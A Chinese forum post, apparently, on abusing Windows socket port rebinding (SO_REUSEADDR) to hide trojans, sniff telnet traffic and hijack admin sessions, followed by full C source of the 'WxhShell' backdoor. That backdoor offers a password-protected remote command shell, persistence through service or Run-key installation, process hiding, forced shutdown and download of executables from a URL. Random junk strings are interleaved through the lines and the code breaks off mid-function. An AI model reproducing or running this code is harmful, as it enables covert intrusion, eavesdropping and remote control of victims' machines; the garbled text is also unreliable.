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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eC<RM Q4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Y:>^F;  
Rl cL(HM  
  saddr.sin_family = AF_INET; ; k.@=  
ui)mYR[8X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ix_w.f=8  
k%~;mu"4}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jSvq1$U  
f:\)! &W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [n/c7Pe  
/ S' +  
  这意味着什么?意味着可以进行如下的攻击: :l]qTCmY  
n.9k5r@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g`'!Vgd?M[  
Brs6RkRf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~fD\=- S1  
DTA$,1JuD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x f{`uHa8  
F5:xrcyC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Sd ^I >;  
d.w]\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6BA$v-VVU  
$t& o(]m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xF3FY0U[  
H%l-@::+$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d:>^]5cE&  
U 5j4iz'  
  #include bnkZWw'9  
  #include * FEJ5x  
  #include FXT^r3  
  #include    *ilVkV"U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q)?!]|pZ  
  int main() ~ :{mKc  
  { [g}#R#Y)  
  WORD wVersionRequested; vde!k_,wZ  
  DWORD ret; `-U?{U}H  
  WSADATA wsaData; 6B@e[VtG$  
  BOOL val; YBj*c$.D0  
  SOCKADDR_IN saddr; %`s#p` Ol1  
  SOCKADDR_IN scaddr; R%n*wGi_6b  
  int err; ?QF xds  
  SOCKET s;  "9[2vdSX  
  SOCKET sc; ,OwTi:yDr  
  int caddsize; ]SAY\;,_  
  HANDLE mt; qm/>\4eLt  
  DWORD tid;   0sw;h.VY  
  wVersionRequested = MAKEWORD( 2, 2 ); B2$cY;LH  
  err = WSAStartup( wVersionRequested, &wsaData ); sM)1w-  
  if ( err != 0 ) { qY%|Uo  
  printf("error!WSAStartup failed!\n"); |H5GWZ O{^  
  return -1; TtrO_D  
  } Ms5qQ<0v_  
  saddr.sin_family = AF_INET; $ s1/Rmw  
   Q}\\0ajS)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q,7W,<-  
 whw+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m.ka%h$  
  saddr.sin_port = htons(23); Q'=7#_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gp$]0~[tO  
  { O{c#&/.K  
  printf("error!socket failed!\n"); _oa*E2VN  
  return -1; a(yWIgD\\  
  } o8:9Y js  
  val = TRUE; (FGy"o%TP'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5#|&&$)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ddl]! ^IK  
  { }sqFvab<  
  printf("error!setsockopt failed!\n"); %e25Z .Se$  
  return -1; X6B,Mply  
  } QPp31o.!5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "h1ek*(?<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F> Ika=z,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bYQ@!  
X7K{P_5l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,if~%'9j  
  { h5l_/v d  
  ret=GetLastError(); &.2% p  
  printf("error!bind failed!\n"); P}Mu|AEG  
  return -1; cr0/.Zv)  
  } WN|_IJR~  
  listen(s,2); >mvE[iXRG?  
  while(1) .%J<zqk-  
  { v0\M$@N[  
  caddsize = sizeof(scaddr); P5G0fq7  
  //接受连接请求 DsxNg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h*<`ct xL  
  if(sc!=INVALID_SOCKET) .#tA .%  
  { !a V:T&6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5G2ueRVb  
  if(mt==NULL) < <0[PJ  
  { >\'}&oi  
  printf("Thread Creat Failed!\n"); YwH Fn+  
  break; $!p2Kf>/Q  
  } @Kt!uKrI  
  } 3:$@DZT$  
  CloseHandle(mt); %kkDitmI{  
  } v#g:]T  
  closesocket(s); U . <c#S  
  WSACleanup(); Hxac#(,7  
  return 0; Y@UW\d*'%I  
  }   &09~ D8f'  
  DWORD WINAPI ClientThread(LPVOID lpParam) d7g$9&/q  
  { l(3PxbT  
  SOCKET ss = (SOCKET)lpParam; uj%]+Llxv  
  SOCKET sc; d5 ]-{+V+  
  unsigned char buf[4096]; RJ4=AA|  
  SOCKADDR_IN saddr; A$\/D2S7!  
  long num; e :ub]1I=  
  DWORD val; nip*Y@-F  
  DWORD ret; <ldArZ4C4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \(^]R,~*!b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VJ&-Z |  
  saddr.sin_family = AF_INET; 2C"i2/NH'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SMB&sl  
  saddr.sin_port = htons(23);  0RCp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *<{hLf  
  { &Nr+- $  
  printf("error!socket failed!\n"); 1p/_U?H:|  
  return -1; %,S:^Rvv  
  } (IHR {m  
  val = 100; F!I9)PSj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (?T{^Hg  
  { N7 _rVcDe  
  ret = GetLastError(); &C9)%5 O)  
  return -1; . Z9c.E{  
  } %qrUP\rn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GX.a!XQ@!  
  { (Cti,g~  
  ret = GetLastError(); meap;p  
  return -1; S n~P1C  
  } -~~R?,H'Z_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U CFw+  
  { C^]UK  
  printf("error!socket connect failed!\n"); PK{FQ3b2{  
  closesocket(sc); )P+<=8@a  
  closesocket(ss); ]d|M@v~c4  
  return -1; R5},E  
  } O#8lJ%?  
  while(1) CAA 3-"Cwi  
  { Y!(w.G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IY}GU 2#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %6V=G5+W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,(hP /<  
  num = recv(ss,buf,4096,0); vON7~KA  
  if(num>0) HyQ(9cn |  
  send(sc,buf,num,0); Mg^A,8lrm  
  else if(num==0) YWANBM(v+  
  break; Csgby(D*O  
  num = recv(sc,buf,4096,0); =@P(cFJ/  
  if(num>0) CX {M@x3m  
  send(ss,buf,num,0); t08[3Q&  
  else if(num==0) aiw4J  
  break; "KC3+:tm  
  } B.b sU  
  closesocket(ss); =(,kjw88w  
  closesocket(sc); 0+_;6  
  return 0 ; {FC<vx{42  
  } _39VL  
8y?q)y9h  
S@,x^/vT  
========================================================== -s91/|n  
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下边附上一个代码,,WXhSHELL ^@'zQa  
wv%UsfD  
========================================================== ph ~#{B(\  
d(Yuz#Qcrh  
#include "stdafx.h" IMy!8$\u  
"zIQ(|TL?d  
#include <stdio.h> q.ppYXJUXi  
#include <string.h> `+Mva  
#include <windows.h> kZ^wc .  
#include <winsock2.h> etb#/L  
#include <winsvc.h> ' #t1e]  
#include <urlmon.h> JQ]MkP  
5RSP.Vyx{  
#pragma comment (lib, "Ws2_32.lib") `;Fs  
#pragma comment (lib, "urlmon.lib") sY}0PB  
4]cr1K ^  
#define MAX_USER   100 // 最大客户端连接数 D_w<igu!3  
#define BUF_SOCK   200 // sock buffer `V[ hE r|  
#define KEY_BUFF   255 // 输入 buffer |;C;d"JC2  
=NRiro  
#define REBOOT     0   // 重启 Tkh?F5l  
#define SHUTDOWN   1   // 关机 dTU`@!f  
bh5C  
#define DEF_PORT   5000 // 监听端口 y<yU5  
AX{yfL  
#define REG_LEN     16   // 注册表键长度 Ojp|/yd^YL  
#define SVC_LEN     80   // NT服务名长度 {]y!2r  
#vcQ =%;O  
// 从dll定义API |'L$ogt6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bde6 ;=oM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vb\R~%@T,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AeW_W0j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R <u\ -  
,z$ U=u o  
// wxhshell配置信息 `~qVo4V6Z  
struct WSCFG { MWn []'TpH  
  int ws_port;         // 监听端口 7<F{a"5P  
  char ws_passstr[REG_LEN]; // 口令 E{B40E~4  
  int ws_autoins;       // 安装标记, 1=yes 0=no +|O& k  
  char ws_regname[REG_LEN]; // 注册表键名 jpfFJon)w  
  char ws_svcname[REG_LEN]; // 服务名 S'q4va"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kx[h41|n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?uE@C3 e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h{VGh kU9f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EMS$?"K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x#tP)5n?s*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -$j|&l  
!*B1Eo--cN  
}; 8.D9OpU  
y/Q,[Uzk\  
// default Wxhshell configuration {(`xA,El  
struct WSCFG wscfg={DEF_PORT, KrD?Z2x  
    "xuhuanlingzhe", =MMSmu5!  
    1, -(![xZ1{K  
    "Wxhshell", 4kf8Am(  
    "Wxhshell", C C`Y r  
            "WxhShell Service", 8Jf4" ;  
    "Wrsky Windows CmdShell Service", !W45X}/o  
    "Please Input Your Password: ", *8xMe  
  1, |1"n\4$  
  "http://www.wrsky.com/wxhshell.exe", ^y&sKO  
  "Wxhshell.exe" NT [~AK9M  
    }; gLPgh%B4  
dy2<b+ ..  
// 消息定义模块 dht*1i3v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z\*jt B:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VpmD1YSn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 a_99? J  
char *msg_ws_ext="\n\rExit."; =G%L:m*  
char *msg_ws_end="\n\rQuit."; AtW<e;!0te  
char *msg_ws_boot="\n\rReboot..."; .Zv uhOn^  
char *msg_ws_poff="\n\rShutdown..."; la[>C:8IG  
char *msg_ws_down="\n\rSave to "; XfH[: XG3  
Mi&jl_&  
char *msg_ws_err="\n\rErr!"; WkR=(dss8  
char *msg_ws_ok="\n\rOK!"; Eh&HN-&  
E >lW'  
char ExeFile[MAX_PATH]; %w3"B,k'9D  
int nUser = 0; Vi_6O;  
HANDLE handles[MAX_USER]; T:(c/ >  
int OsIsNt;  a EmLf  
j?y_ H[Z  
SERVICE_STATUS       serviceStatus; t bEJyA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ky-9I<Z,,  
1=Nh<FuQ  
// 函数声明 }:a:E~5y  
int Install(void); E+e:UBeUV  
int Uninstall(void); _Kf8,|+  
int DownloadFile(char *sURL, SOCKET wsh); v)J(@>CZ[  
int Boot(int flag); V+&C_PyC  
void HideProc(void); +1=]93gP  
int GetOsVer(void); -{rUE +  
int Wxhshell(SOCKET wsl); D>efr8Qd@  
void TalkWithClient(void *cs); s'JbG&T[J  
int CmdShell(SOCKET sock); Vmf !0-  
int StartFromService(void); ]ovb!X_  
int StartWxhshell(LPSTR lpCmdLine); 0JM`*f%n  
H$={i$*,Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "8sB,$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7S]<?>*  
1'"TO5  
// 数据结构和表定义 r`GA5 }M  
SERVICE_TABLE_ENTRY DispatchTable[] = 5isqBu  
{ ?,0 a#lG  
{wscfg.ws_svcname, NTServiceMain}, %$ CV?K$C  
{NULL, NULL} cHjnuL0fsy  
}; q aZQ1<e  
DA wUG  
// 自我安装 $Cx?%X^b  
int Install(void) Gj H$!P=.  
{ Ny2. C?2  
  char svExeFile[MAX_PATH]; ni`uO<\U  
  HKEY key; {ZIEIXWb2  
  strcpy(svExeFile,ExeFile); >#~>!cv6D  
YwnYTt  
// 如果是win9x系统,修改注册表设为自启动 I$HO[Z!  
if(!OsIsNt) { AD^Q`7K?uR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vkE a[7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Vr-E  
  RegCloseKey(key); h"$)[k~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j9^V)\6)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,A9_xdv5  
  RegCloseKey(key); K|sk]2.  
  return 0; @Z2^smf  
    } OD;F{Hc  
  } !THa?U;  
} &Xh_`*]ox  
else { PB(I3R9  
My<.^~  
// 如果是NT以上系统,安装为系统服务 *r(Qy0(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )/cf%  
if (schSCManager!=0) :` >bh  
{ u1;sH{YK>  
  SC_HANDLE schService = CreateService  BDfJ  
  ( '|J~2rbyr  
  schSCManager, /^hc8X  
  wscfg.ws_svcname, e82xBLxR%  
  wscfg.ws_svcdisp, ;:obg/;uJ  
  SERVICE_ALL_ACCESS, Q4ZKgcC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g1v=a  
  SERVICE_AUTO_START, ^?5HagA  
  SERVICE_ERROR_NORMAL, .s-*aoj  
  svExeFile, w:aV2  
  NULL, /(8"9Sfm  
  NULL, OF/hD2V  
  NULL, {H3B1*Dk  
  NULL, d.$0X/0  
  NULL j: E3c\a  
  ); ]w_JbFmT  
  if (schService!=0) =z zmz7op  
  { `Z^\<{z  
  CloseServiceHandle(schService); [JYy  
  CloseServiceHandle(schSCManager); P&IS$FC.\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IoZ _zz0  
  strcat(svExeFile,wscfg.ws_svcname); ~s*kuj'%+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &} r-C97  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qs {wrem  
  RegCloseKey(key); >|aVGY  
  return 0; w@WPp0mny  
    } Fv<3VKueK[  
  } _N:GZLG  
  CloseServiceHandle(schSCManager); UM2yv6:/  
} <w3_EO  
} !v. <H]s)  
lYT_Y.%I  
return 1; MY'T%_i d  
}  kMZo7 y  
5,J.$Sax  
// 自我卸载 bbT1p :RF  
int Uninstall(void) 0BQ{ZT-Kh  
{ B`)TRt+'.  
  HKEY key; \aN7[>R.Q  
@MP;/o+  
if(!OsIsNt) { *k@D4F ruP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QB3er]y0%  
  RegDeleteValue(key,wscfg.ws_regname); F^.~37= @  
  RegCloseKey(key); k)9+;bKQQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3  $a;  
  RegDeleteValue(key,wscfg.ws_regname); %bS1$ v\n  
  RegCloseKey(key); p<+Y;,+  
  return 0; !P3y+;S  
  } OXnTD!m>{  
} m- bu{  
} }W0_eQ  
else { &"( zK"O  
T: SqENV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z7>Nd$E{  
if (schSCManager!=0) <99/7>#  
{ k$GtzjN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2~R%_r+<  
  if (schService!=0) 5Q\ hd*+g  
  { (TU/EU5  
  if(DeleteService(schService)!=0) { 3L36 2  
  CloseServiceHandle(schService); 9_O6Sl  
  CloseServiceHandle(schSCManager); |w{C!Q8l  
  return 0; wg<t*6&'x  
  } 45k.U$<|  
  CloseServiceHandle(schService); <}T7;knO  
  } Yv.7-DHNl  
  CloseServiceHandle(schSCManager); Xl:.`{5L  
} a(kY,<}  
} v 6s]X*l?  
Rg^ps  
return 1; ;iW>i8  
} M%WO  
OF2 W UcQ  
// 从指定url下载文件 a"`> J!  
int DownloadFile(char *sURL, SOCKET wsh) WL?qulC}h1  
{ }0?XF/e(R  
  HRESULT hr; Shv$"x:W  
char seps[]= "/"; OZA^L;#>  
char *token; V"B/4v>  
char *file; qeb}~FL"o  
char myURL[MAX_PATH]; C-\3,  
char myFILE[MAX_PATH]; xIwILY|W=  
O`5hj q#  
strcpy(myURL,sURL); \ AIFIy  
  token=strtok(myURL,seps);  /PTq.  
  while(token!=NULL) vqZBDQ0  
  { Km,%p@`m  
    file=token; U }AIOtUw  
  token=strtok(NULL,seps); 6Yc(|>b!  
  } 'j-U=2,n  
jYvl-2A'  
GetCurrentDirectory(MAX_PATH,myFILE); Z1Qv>@u  
strcat(myFILE, "\\"); K>C@oE[W  
strcat(myFILE, file); 0Y:)$h2?  
  send(wsh,myFILE,strlen(myFILE),0); $ w+.-Tr  
send(wsh,"...",3,0); `:C2Cj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GS7'pTsYH  
  if(hr==S_OK) :5BCW68le  
return 0; =k>fW7e  
else A!Tm[oqu  
return 1; N.0g%0A.D  
=dsEt\ j  
} @vB-.XU  
jz]}%O  
// 系统电源模块 (>AQ\  
int Boot(int flag) MiR$N  
{ ~FQHT?DAo  
  HANDLE hToken; #d06wYz=  
  TOKEN_PRIVILEGES tkp; %~} ,N  
3 q J00A  
  if(OsIsNt) { xkU8(=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u:Ye`]~o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m'N8[ o|h  
    tkp.PrivilegeCount = 1; wa~zb!y<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /]U;7)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (G/(w%#7_  
if(flag==REBOOT) { R>]7l!3^1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z~==7:Os  
  return 0; |f/Uzd ~  
} )8oN$2 0  
else { t{QQ;'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O #t[YP  
  return 0; dPbn[*:  
} ~9xkiu5~  
  } ; O(Ml}z  
  else { bt(Y@3;  
if(flag==REBOOT) { )EQz9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KCAV  
  return 0; ' MBXk2?b  
} w/"vf3}(9  
else { \.}ZvM$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %H;}+U]Z  
  return 0; 8a&c=9  
} `6lOqH  
} K&RIF]0#G  
4HR36=E6  
return 1; ' Ttsscv  
} 3l,-n|x  
*8uS,s6g  
// win9x进程隐藏模块 a+\<2NXYD  
void HideProc(void) D9NQ3[R 9  
{ fVf:voh  
Qc)i?Z'6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dy>6L79G  
  if ( hKernel != NULL ) Jm#p!G+  
  { w%plK6:6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tl'wA^~H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r>7 +&s*yk  
    FreeLibrary(hKernel); ^yqRa&  
  } dJ/gc"7aO  
1KbZ6Msy  
return;  S,ea[$_  
} /}J_2  
Qe\vx1GRLH  
// 获取操作系统版本 @x!,iT  
int GetOsVer(void) KO~KaN  
{ nlI3|5  
  OSVERSIONINFO winfo; {I0U 4]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~\i(bFd)  
  GetVersionEx(&winfo); dvqg H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l2:-).7xt  
  return 1; 3;VH'hh_  
  else ,msP(*qoI  
  return 0; 1G"ohosmF  
} *S"RU~1_  
dP(.l}O  
// 客户端句柄模块 %8h=_(X\7  
int Wxhshell(SOCKET wsl)  <7SE|  
{ I.G[|[. Do  
  SOCKET wsh; HA,8O [jon  
  struct sockaddr_in client; RgUQ:  
  DWORD myID; t72u%M6  
}A,!|m4  
  while(nUser<MAX_USER) &VA^LS@b  
{ 71Za!3+  
  int nSize=sizeof(client); pgiZA?r*<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2O*At%CzW  
  if(wsh==INVALID_SOCKET) return 1; 6W{Nw<  
+Ugy=678Tr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); > Xh=P%  
if(handles[nUser]==0) jex\5  
  closesocket(wsh); !=PH5jTY  
else @TD=or .&  
  nUser++; O39   
  } s~2o<#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1^*ogMe  
.r{t&HO;Y  
  return 0; )[J!{$&y  
} ~tyqvHC  
9#:fQ!3`  
// 关闭 socket +_$s9`@]6  
void CloseIt(SOCKET wsh) xw_klHL-o  
{ pe0ax- Zv  
closesocket(wsh); ]Idwy|eG  
nUser--; T4Vp0i  
ExitThread(0); ]' [:QGr  
} Sn4xv2/  
Z37Dv;&ZD  
// 客户端请求句柄 - _ 8-i1?  
void TalkWithClient(void *cs) *?d\Zcj85[  
{ q~ Z UtF  
A{J?I:  
  SOCKET wsh=(SOCKET)cs; ^)Awjj9  
  char pwd[SVC_LEN]; =X^a  
  char cmd[KEY_BUFF]; _u^3uzu  
char chr[1]; m"/..&'GC  
int i,j; gaz",kK<  
hnB`+!  
  while (nUser < MAX_USER) { xvl{o  
{<@ud0A:\  
if(wscfg.ws_passstr) { .\T!oSb4[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W_E^+Wl@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v]EZYEXFL)  
  //ZeroMemory(pwd,KEY_BUFF); $Wj{B@k  
      i=0; _AX,}9  
  while(i<SVC_LEN) { 3N- '{c6]U  
IqFcrU$4  
  // 设置超时 I&#:/|{:5  
  fd_set FdRead; A+8)VlE\  
  struct timeval TimeOut; ;$zvm`|:  
  FD_ZERO(&FdRead); .Z'NH wCy  
  FD_SET(wsh,&FdRead); \%Y`>x.  
  TimeOut.tv_sec=8; NQ;X|$!zH  
  TimeOut.tv_usec=0; 97\K] Tr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p7-\a1P3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FXDB> }8  
hZ452W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y:O|6%00Y  
  pwd=chr[0]; %a WRXW@c  
  if(chr[0]==0xd || chr[0]==0xa) { K mH))LIv  
  pwd=0; 9xz@2b@  
  break; *cCx]C.~  
  } j3;W-c`5  
  i++; &U?4e'N)T  
    } Z8FgxR  
<!FcQVH+L  
  // 如果是非法用户,关闭 socket ]s0wJD=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zps =~|  
} SyI~iW#Y1  
Qt {){uE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iTq&h=(n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tt2 S.j  
9ghzK?Yc  
while(1) { Z81;Y=(  
9/e>%1.  
  ZeroMemory(cmd,KEY_BUFF);  c`\/]  
]tT=jN&(  
      // 自动支持客户端 telnet标准   y[85eM  
  j=0; qQ^CSn98J  
  while(j<KEY_BUFF) { =|aZNHqH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `<d.I%}  
  cmd[j]=chr[0]; G^nG^HTo5  
  if(chr[0]==0xa || chr[0]==0xd) { ^gx~{9`RR  
  cmd[j]=0; xBc|rqge  
  break; -O?HfQ  
  } C F','gPnc  
  j++; BK4S$B  
    } r'#!w3*Cy  
O.X;w<F/V  
  // 下载文件 ;@ixrj0u  
  if(strstr(cmd,"http://")) { rZpsC}C'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0j4n1 1#  
  if(DownloadFile(cmd,wsh)) dR.?Kv(,E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LKcp.i  
  else =,;$d&#*h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); frPQi{u$  
  } Z3c\}HLY  
  else { _[z)%`kay  
.rO~a.kG  
    switch(cmd[0]) { 2bTS, N/>  
  syg{qtBz^  
  // 帮助 3e^0W_>6  
  case '?': { yH-&o,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Whx^B:  
    break; K)    
  } qGH[kd  
  // 安装 WvT H+  
  case 'i': { b j@R[!ss  
    if(Install()) $8U$.~v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@3`H8 [  
    else 4(P<'FK $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F*#!hWtb  
    break; mMXDzAllB  
    } _;5zA"~c#@  
  // 卸载 q?mpvpL G  
  case 'r': { "IQYy~ /  
    if(Uninstall()) >SvS(N{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mMllen  
    else .wq j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (nmsw6 X  
    break; go yDG/  
    } U4-RI]Cpf  
  // 显示 wxhshell 所在路径 $$.q6  
  case 'p': { ,.( :b82$  
    char svExeFile[MAX_PATH]; BC_<1 c  
    strcpy(svExeFile,"\n\r"); YHom9& A  
      strcat(svExeFile,ExeFile); }]dzY(   
        send(wsh,svExeFile,strlen(svExeFile),0); 1 +-Go}I  
    break; Kgi`@`  
    } t^KQv~  
  // 重启 iR9duP+  
  case 'b': { xg, 9~f[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,N,@9p  
    if(Boot(REBOOT))  24 [cU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J`0dF<<{[y  
    else { ZDzG8E0Sq  
    closesocket(wsh); ]?T^tJ  
    ExitThread(0); Hpz1Iy @  
    } ZG1TR F "  
    break; ^pu8\K;~  
    } w<THPFFF"  
  // 关机 P3W3+pwq  
  case 'd': { Ig?9"{9p  
